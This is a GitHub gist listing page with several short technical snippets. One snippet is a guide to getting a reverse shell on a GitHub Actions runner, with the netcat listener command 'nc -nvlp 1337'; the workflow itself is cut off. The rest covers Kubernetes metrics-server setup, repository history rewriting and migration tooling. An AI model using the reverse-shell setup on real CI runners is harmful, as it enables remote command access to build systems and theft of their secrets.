Skip to content

Instantly share code, notes, and snippets.

View robandpdx's full-sized avatar
🏠
Working from home

Rob Anderson robandpdx

🏠
Working from home
  • GitHub
  • Beaverton, Oregon
View GitHub Profile

How to get a shell on a GH runner

Getting a shell on a GH runner is pretty easy. First, create a linux VM in your favorite cloud provider. Be sure to allow inbound traffic on port 22 and 1337. SSH into that VM and execute the following command:

nc -nvlp 1337

Then run the following workflow in GH actions:

name: Reverse shell
@robandpdx
robandpdx / issue-ops-use-cases.md
Last active April 4, 2023 05:24
A list of issue ops use cases
@robandpdx
robandpdx / kind-k8s-metrics-server.md
Last active April 4, 2023 14:53
Running metric-server on Kind Kubernetes

Running metric-server on Kind Kubernetes

Deploy latest metric-server release.

kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/download/v0.5.0/components.yaml

You need to add argument --kubelet-insecure-tls to the metrics-server container.

Rewriting repository history

Sometimes history rewrites are required in order to migrate repositories into github.com. Several factors can dictate the need to rewrite history of a repository:

  • objects larger than 100Mb
  • commits larger than the 2GB push limit

Although rewriting history might not be required for your repository to migrate to github.com, you may consider rewriting history for several reasons:

  • migrate large objects to LFS
  • cleanup previous mistakes or bad practices that caused repo bloat
  • remove secrets from repo history
@robandpdx
robandpdx / ghec-exampes.md
Last active January 22, 2024 18:03
ghec-importer examples

ghec-importer examples

The following example will remove the teams from the migration_archive.tar.gz file.

export GHEC_IMPORTER_ADMIN_TOKEN="xxxx"
ghec-importer prepare-archive -r teams migration_archive.tar.gz

The following example will import the migration_archive.tar.gz into the robandpdx-migaration5 org and enable actions on the repo. If there is a repo name conflict, if will be resolved by adding the source org name to the repo name as a prefix.